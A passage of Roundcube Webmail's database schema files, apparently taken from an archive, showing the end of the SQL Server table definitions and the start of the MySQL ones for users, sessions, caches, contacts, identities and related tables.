	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL ,
	[expires] [datetime] NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_messages] (
	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL ,
	[uid] [int] NOT NULL ,
	[expires] [datetime] NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL ,
	[flags] [int] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[collected_addresses] (
	[address_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[name] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[email] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[type] [int] NOT NULL 
) ON [PRIMARY]
GO

CREATE TABLE [dbo].[contacts] (
	[contact_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[email] [varchar] (8000) COLLATE Latin1_General_CI_AI NOT NULL ,
	[firstname] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[surname] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[vcard] [text] COLLATE Latin1_General_CI_AI NULL ,
	[words] [text] COLLATE Latin1_General_CI_AI NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[contactgroups] (
	[contactgroup_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] 
GO

CREATE TABLE [dbo].[contactgroupmembers] (
	[contactgroup_id] [int] NOT NULL ,
	[contact_id] [int] NOT NULL ,
	[created] [datetime] NOT NULL
) ON [PRIMARY] 
GO

CREATE TABLE [dbo].[identities] (
	[identity_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[standard] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[organization] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[email] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[reply-to] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[bcc] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[signature] [text] COLLATE Latin1_General_CI_AI NULL, 
	[html_signature] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[responses] (
	[response_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[changed] [datetime] NOT NULL ,
	[del] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[name] [varchar] (255) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL, 
	[is_html] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[session] (
	[sess_id] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[changed] [datetime] NULL ,
	[ip] [varchar] (40) COLLATE Latin1_General_CI_AI NOT NULL ,
	[vars] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[users] (
	[user_id] [int] IDENTITY (1, 1) NOT NULL ,
	[username] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL ,
	[mail_host] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[created] [datetime] NOT NULL ,
	[last_login] [datetime] NULL ,
	[failed_login] [datetime] NULL ,
	[failed_login_counter] [int] NULL ,
	[language] [varchar] (16) COLLATE Latin1_General_CI_AI NULL ,
	[preferences] [text] COLLATE Latin1_General_CI_AI NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[dictionary] (
	[user_id] [int] ,
	[language] [varchar] (16) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[searches] (
	[search_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[type] [tinyint] NOT NULL ,
	[name] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[filestore] (
	[file_id] [int] IDENTITY (1, 1) NOT NULL ,
	[user_id] [int] NOT NULL ,
	[context] [varchar] (32) COLLATE Latin1_General_CI_AI NOT NULL ,
	[filename] [varchar] (128) COLLATE Latin1_General_CI_AI NOT NULL ,
	[mtime] [int] NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NULL ,
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[system] (
	[name] [varchar] (64) COLLATE Latin1_General_CI_AI NOT NULL ,
	[value] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[cache] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[cache_key]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_shared] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[cache_key]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_index] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_thread] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache_messages] WITH NOCHECK ADD 
	 PRIMARY KEY CLUSTERED 
	(
		[user_id],[mailbox],[uid]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[collected_addresses] WITH NOCHECK ADD 
	CONSTRAINT [PK_collected_addresses_address_id] PRIMARY KEY  CLUSTERED 
	(
		[address_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contacts] WITH NOCHECK ADD 
	CONSTRAINT [PK_contacts_contact_id] PRIMARY KEY  CLUSTERED 
	(
		[contact_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contactgroups] WITH NOCHECK ADD 
	CONSTRAINT [PK_contactgroups_contactgroup_id] PRIMARY KEY CLUSTERED 
	(
		[contactgroup_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[contactgroupmembers] WITH NOCHECK ADD 
	CONSTRAINT [PK_contactgroupmembers_id] PRIMARY KEY CLUSTERED 
	(
		[contactgroup_id], [contact_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[identities] WITH NOCHECK ADD 
	 PRIMARY KEY  CLUSTERED 
	(
		[identity_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[responses] WITH NOCHECK ADD 
	 PRIMARY KEY  CLUSTERED 
	(
		[response_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[session] WITH NOCHECK ADD 
	CONSTRAINT [PK_session_sess_id] PRIMARY KEY  CLUSTERED 
	(
		[sess_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[users] WITH NOCHECK ADD 
	CONSTRAINT [PK_users_user_id] PRIMARY KEY  CLUSTERED 
	(
		[user_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[searches] WITH NOCHECK ADD 
	CONSTRAINT [PK_searches_search_id] PRIMARY KEY CLUSTERED 
	(
		[search_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[filestore] WITH NOCHECK ADD 
	CONSTRAINT [PK_filestore_file_id] PRIMARY KEY  CLUSTERED 
	(
		[file_id]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[system] WITH NOCHECK ADD 
	CONSTRAINT [PK_system_name] PRIMARY KEY CLUSTERED 
	(
		[name]
	) ON [PRIMARY] 
GO

ALTER TABLE [dbo].[cache] ADD 
	CONSTRAINT [DF_cache_user_id] DEFAULT ('0') FOR [user_id],
	CONSTRAINT [DF_cache_cache_key] DEFAULT ('') FOR [cache_key]
GO

ALTER TABLE [dbo].[cache_index] ADD 
	CONSTRAINT [DF_cache_index_valid] DEFAULT ('0') FOR [valid]
GO

ALTER TABLE [dbo].[cache_messages] ADD 
	CONSTRAINT [DF_cache_messages_flags] DEFAULT (0) FOR [flags]
GO

CREATE INDEX [IX_cache_shared_cache_key] ON [dbo].[cache_shared]([cache_key]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_index_user_id] ON [dbo].[cache_index]([user_id]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_thread_user_id] ON [dbo].[cache_thread]([user_id]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_messages_user_id] ON [dbo].[cache_messages]([user_id]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_expires] ON [dbo].[cache]([expires]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_shared_expires] ON [dbo].[cache_shared]([expires]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_index_expires] ON [dbo].[cache_index]([expires]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_thread_expires] ON [dbo].[cache_thread]([expires]) ON [PRIMARY]
GO

CREATE INDEX [IX_cache_messages_expires] ON [dbo].[cache_messages]([expires]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[collected_addresses] ADD 
	CONSTRAINT [DF_collected_addresses_user_id] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_collected_addresses_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_collected_addresses_name] DEFAULT ('') FOR [name]
GO

CREATE UNIQUE INDEX [IX_collected_addresses_user_id] ON [dbo].[collected_addresses]([user_id],[type],[email]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[contacts] ADD 
	CONSTRAINT [DF_contacts_user_id] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_contacts_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_contacts_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_contacts_name] DEFAULT ('') FOR [name],
	CONSTRAINT [DF_contacts_email] DEFAULT ('') FOR [email],
	CONSTRAINT [DF_contacts_firstname] DEFAULT ('') FOR [firstname],
	CONSTRAINT [DF_contacts_surname] DEFAULT ('') FOR [surname],
	CONSTRAINT [CK_contacts_del] CHECK ([del] = '1' or [del] = '0')
GO

CREATE INDEX [IX_contacts_user_id] ON [dbo].[contacts]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[contactgroups] ADD 
	CONSTRAINT [DF_contactgroups_user_id] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_contactgroups_changed] DEFAULT (getdate()) FOR [changed],
	CONSTRAINT [DF_contactgroups_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_contactgroups_name] DEFAULT ('') FOR [name],
	CONSTRAINT [CK_contactgroups_del] CHECK ([del] = '1' or [del] = '0')
GO

CREATE INDEX [IX_contactgroups_user_id] ON [dbo].[contactgroups]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[contactgroupmembers] ADD 
	CONSTRAINT [DF_contactgroupmembers_contactgroup_id] DEFAULT (0) FOR [contactgroup_id],
	CONSTRAINT [DF_contactgroupmembers_contact_id] DEFAULT (0) FOR [contact_id],
	CONSTRAINT [DF_contactgroupmembers_created] DEFAULT (getdate()) FOR [created]
GO

CREATE INDEX [IX_contactgroupmembers_contact_id] ON [dbo].[contactgroupmembers]([contact_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[identities] ADD 
	CONSTRAINT [DF_identities_user] DEFAULT ('0') FOR [user_id],
	CONSTRAINT [DF_identities_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_identities_standard] DEFAULT ('0') FOR [standard],
	CONSTRAINT [DF_identities_name] DEFAULT ('') FOR [name],
	CONSTRAINT [DF_identities_organization] DEFAULT ('') FOR [organization],
	CONSTRAINT [DF_identities_email] DEFAULT ('') FOR [email],
	CONSTRAINT [DF_identities_reply] DEFAULT ('') FOR [reply-to],
	CONSTRAINT [DF_identities_bcc] DEFAULT ('') FOR [bcc],
	CONSTRAINT [DF_identities_html_signature] DEFAULT ('0') FOR [html_signature],
	CHECK ([standard] = '1' or [standard] = '0'),
	CHECK ([del] = '1' or [del] = '0')
GO

CREATE INDEX [IX_identities_user_id] ON [dbo].[identities]([user_id]) ON [PRIMARY]
GO
CREATE INDEX [IX_identities_email] ON [dbo].[identities]([email],[del]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[responses] ADD 
	CONSTRAINT [DF_responses_user] DEFAULT ('0') FOR [user_id],
	CONSTRAINT [DF_responses_del] DEFAULT ('0') FOR [del],
	CONSTRAINT [DF_responses_is_html] DEFAULT ('0') FOR [is_html],
	CHECK ([del] = '1' or [del] = '0'),
	CHECK ([is_html] = '1' or [is_html] = '0')
GO

CREATE INDEX [IX_responses_user_id] ON [dbo].[responses]([user_id]) ON [PRIMARY]
GO
ALTER TABLE [dbo].[session] ADD 
	CONSTRAINT [DF_session_sess_id] DEFAULT ('') FOR [sess_id],
	CONSTRAINT [DF_session_ip] DEFAULT ('') FOR [ip]
GO

CREATE INDEX [IX_session_changed] ON [dbo].[session]([changed]) ON [PRIMARY]
GO

CREATE INDEX [IX_filestore_user_id] ON [dbo].[filestore]([user_id]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[users] ADD 
	CONSTRAINT [DF_users_username] DEFAULT ('') FOR [username],
	CONSTRAINT [DF_users_mail_host] DEFAULT ('') FOR [mail_host],
	CONSTRAINT [DF_users_created] DEFAULT (getdate()) FOR [created]
GO

CREATE UNIQUE INDEX [IX_users_username] ON [dbo].[users]([username],[mail_host]) ON [PRIMARY]
GO

CREATE UNIQUE INDEX [IX_dictionary_user_language] ON [dbo].[dictionary]([user_id],[language]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[searches] ADD 
	CONSTRAINT [DF_searches_user] DEFAULT (0) FOR [user_id],
	CONSTRAINT [DF_searches_type] DEFAULT (0) FOR [type]
GO

CREATE UNIQUE INDEX [IX_searches_user_type_name] ON [dbo].[searches]([user_id],[type],[name]) ON [PRIMARY]
GO

CREATE UNIQUE INDEX [IX_filestore_user_id_context_filename] ON [dbo].[filestore]([user_id],[context],[filename]) ON [PRIMARY]
GO

ALTER TABLE [dbo].[identities] ADD CONSTRAINT [FK_identities_user_id] 
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[responses] ADD CONSTRAINT [FK_responses_user_id] 
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[collected_addresses] ADD CONSTRAINT [FK_collected_addresses_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[contacts] ADD CONSTRAINT [FK_contacts_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[contactgroups] ADD CONSTRAINT [FK_contactgroups_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache] ADD CONSTRAINT [FK_cache_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache_index] ADD CONSTRAINT [FK_cache_index_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache_thread] ADD CONSTRAINT [FK_cache_thread_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[cache_messages] ADD CONSTRAINT [FK_cache_messages_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[contactgroupmembers] ADD CONSTRAINT [FK_contactgroupmembers_contactgroup_id]
    FOREIGN KEY ([contactgroup_id]) REFERENCES [dbo].[contactgroups] ([contactgroup_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[searches] ADD CONSTRAINT [FK_searches_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

ALTER TABLE [dbo].[filestore] ADD CONSTRAINT [FK_filestore_user_id]
    FOREIGN KEY ([user_id]) REFERENCES [dbo].[users] ([user_id])
    ON DELETE CASCADE ON UPDATE CASCADE
GO

-- Use trigger instead of foreign key (#1487112)
-- "Introducing FOREIGN KEY constraint ... may cause cycles or multiple cascade paths."
CREATE TRIGGER [contact_delete_member] ON [dbo].[contacts]
    AFTER DELETE AS
    DELETE FROM [dbo].[contactgroupmembers]
    WHERE [contact_id] IN (SELECT [contact_id] FROM deleted)
GO

INSERT INTO [dbo].[system] ([name], [value]) VALUES ('roundcube-version', '2022081200')
GO

PKh�\���h*&*&SQL/mysql.initial.sqlnu�[���-- Roundcube Webmail initial database structure


SET FOREIGN_KEY_CHECKS=0;

-- Table structure for table `session`

CREATE TABLE `session` (
 `sess_id` varchar(128) NOT NULL,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `ip` varchar(40) NOT NULL,
 `vars` mediumtext NOT NULL,
 PRIMARY KEY(`sess_id`),
 INDEX `changed_index` (`changed`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `users`

CREATE TABLE `users` (
 `user_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `username` varchar(128) BINARY NOT NULL,
 `mail_host` varchar(128) NOT NULL,
 `created` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `last_login` datetime,
 `failed_login` datetime,
 `failed_login_counter` int(10) UNSIGNED,
 `language` varchar(16),
 `preferences` longtext,
 PRIMARY KEY(`user_id`),
 UNIQUE `username` (`username`, `mail_host`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `cache`

CREATE TABLE `cache` (
 `user_id` int(10) UNSIGNED NOT NULL,
 `cache_key` varchar(128) BINARY NOT NULL,
 `expires` datetime,
 `data` longtext NOT NULL,
 PRIMARY KEY (`user_id`, `cache_key`),
 CONSTRAINT `user_id_fk_cache` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `expires_index` (`expires`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `cache_shared`

CREATE TABLE `cache_shared` (
 `cache_key` varchar(255) BINARY NOT NULL,
 `expires` datetime,
 `data` longtext NOT NULL,
 PRIMARY KEY (`cache_key`),
 INDEX `expires_index` (`expires`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `cache_index`

CREATE TABLE `cache_index` (
 `user_id` int(10) UNSIGNED NOT NULL,
 `mailbox` varchar(255) BINARY NOT NULL,
 `expires` datetime,
 `valid` tinyint(1) NOT NULL DEFAULT '0',
 `data` longtext NOT NULL,
 CONSTRAINT `user_id_fk_cache_index` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `expires_index` (`expires`),
 PRIMARY KEY (`user_id`, `mailbox`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `cache_thread`

CREATE TABLE `cache_thread` (
 `user_id` int(10) UNSIGNED NOT NULL,
 `mailbox` varchar(255) BINARY NOT NULL,
 `expires` datetime,
 `data` longtext NOT NULL,
 CONSTRAINT `user_id_fk_cache_thread` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `expires_index` (`expires`),
 PRIMARY KEY (`user_id`, `mailbox`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `cache_messages`

CREATE TABLE `cache_messages` (
 `user_id` int(10) UNSIGNED NOT NULL,
 `mailbox` varchar(255) BINARY NOT NULL,
 `uid` int(11) UNSIGNED NOT NULL DEFAULT '0',
 `expires` datetime,
 `data` longtext NOT NULL,
 `flags` int(11) NOT NULL DEFAULT '0',
 CONSTRAINT `user_id_fk_cache_messages` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `expires_index` (`expires`),
 PRIMARY KEY (`user_id`, `mailbox`, `uid`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `collected_addresses`

CREATE TABLE `collected_addresses` (
 `address_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `name` varchar(255) NOT NULL DEFAULT '',
 `email` varchar(255) NOT NULL,
 `user_id` int(10) UNSIGNED NOT NULL,
 `type` int(10) UNSIGNED NOT NULL,
 PRIMARY KEY(`address_id`),
 CONSTRAINT `user_id_fk_collected_addresses` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 UNIQUE INDEX `user_email_collected_addresses_index` (`user_id`, `type`, `email`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `contacts`

CREATE TABLE `contacts` (
 `contact_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `del` tinyint(1) NOT NULL DEFAULT '0',
 `name` varchar(128) NOT NULL DEFAULT '',
 `email` text NOT NULL,
 `firstname` varchar(128) NOT NULL DEFAULT '',
 `surname` varchar(128) NOT NULL DEFAULT '',
 `vcard` longtext,
 `words` text,
 `user_id` int(10) UNSIGNED NOT NULL,
 PRIMARY KEY(`contact_id`),
 CONSTRAINT `user_id_fk_contacts` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `user_contacts_index` (`user_id`,`del`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `contactgroups`

CREATE TABLE `contactgroups` (
  `contactgroup_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `user_id` int(10) UNSIGNED NOT NULL,
  `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  `del` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(128) NOT NULL DEFAULT '',
  PRIMARY KEY(`contactgroup_id`),
  CONSTRAINT `user_id_fk_contactgroups` FOREIGN KEY (`user_id`)
    REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  INDEX `contactgroups_user_index` (`user_id`,`del`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `contactgroupmembers`

CREATE TABLE `contactgroupmembers` (
  `contactgroup_id` int(10) UNSIGNED NOT NULL,
  `contact_id` int(10) UNSIGNED NOT NULL,
  `created` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
  PRIMARY KEY (`contactgroup_id`, `contact_id`),
  CONSTRAINT `contactgroup_id_fk_contactgroups` FOREIGN KEY (`contactgroup_id`)
    REFERENCES `contactgroups`(`contactgroup_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `contact_id_fk_contacts` FOREIGN KEY (`contact_id`)
    REFERENCES `contacts`(`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  INDEX `contactgroupmembers_contact_index` (`contact_id`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB;


-- Table structure for table `identities`

CREATE TABLE `identities` (
 `identity_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `user_id` int(10) UNSIGNED NOT NULL,
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `del` tinyint(1) NOT NULL DEFAULT '0',
 `standard` tinyint(1) NOT NULL DEFAULT '0',
 `name` varchar(128) NOT NULL,
 `organization` varchar(128) NOT NULL DEFAULT '',
 `email` varchar(128) NOT NULL,
 `reply-to` varchar(128) NOT NULL DEFAULT '',
 `bcc` varchar(128) NOT NULL DEFAULT '',
 `signature` longtext,
 `html_signature` tinyint(1) NOT NULL DEFAULT '0',
 PRIMARY KEY(`identity_id`),
 CONSTRAINT `user_id_fk_identities` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `user_identities_index` (`user_id`, `del`),
 INDEX `email_identities_index` (`email`, `del`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `responses`

CREATE TABLE `responses` (
 `response_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `user_id` int(10) UNSIGNED NOT NULL,
 `name` varchar(255) NOT NULL,
 `data` longtext NOT NULL,
 `is_html` tinyint(1) NOT NULL DEFAULT '0',
 `changed` datetime NOT NULL DEFAULT '1000-01-01 00:00:00',
 `del` tinyint(1) NOT NULL DEFAULT '0',
 PRIMARY KEY (`response_id`),
 CONSTRAINT `user_id_fk_responses` FOREIGN KEY (`user_id`)
   REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 INDEX `user_responses_index` (`user_id`, `del`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `dictionary`

CREATE TABLE `dictionary` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, -- redundant, for compat. with Galera Cluster
  `user_id` int(10) UNSIGNED, -- NULL here is for "shared dictionaries"
  `language` varchar(16) NOT NULL,
  `data` longtext NOT NULL,
  CONSTRAINT `user_id_fk_dictionary` FOREIGN KEY (`user_id`)
    REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  UNIQUE `uniqueness` (`user_id`, `language`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;


-- Table structure for table `searches`

CREATE TABLE `searches` (
 `search_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `user_id` int(10) UNSIGNED NOT NULL,
 `type` int(3) NOT NULL DEFAULT '0',
 `name` varchar(128) NOT NULL,
 `data` text,
 PRIMARY KEY(`search_id`),
 CONSTRAINT `user_id_fk_searches` FOREIGN KEY (`user_id`)
   REFERENCES `users`(`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 UNIQUE `uniqueness` (`user_id`, `type`, `name`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- Table structure for table `filestore`

CREATE TABLE `filestore` (
 `file_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `user_id` int(10) UNSIGNED NOT NULL,
 `context` varchar(32) NOT NULL,
 `filename` varchar(128) NOT NULL,
 `mtime` int(10) NOT NULL,
 `data` longtext NOT NULL,
 PRIMARY KEY (`file_id`),
 CONSTRAINT `user_id_fk_filestore` FOREIGN KEY (`user_id`)
   REFERENCES `users` (`user_id`) ON DELETE CASCADE ON UPDATE CASCADE,
 UNIQUE `uniqueness` (`user_id`, `context`, `filename`)
) ROW_FORMAT=DYNAMIC ENGINE=INNODB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

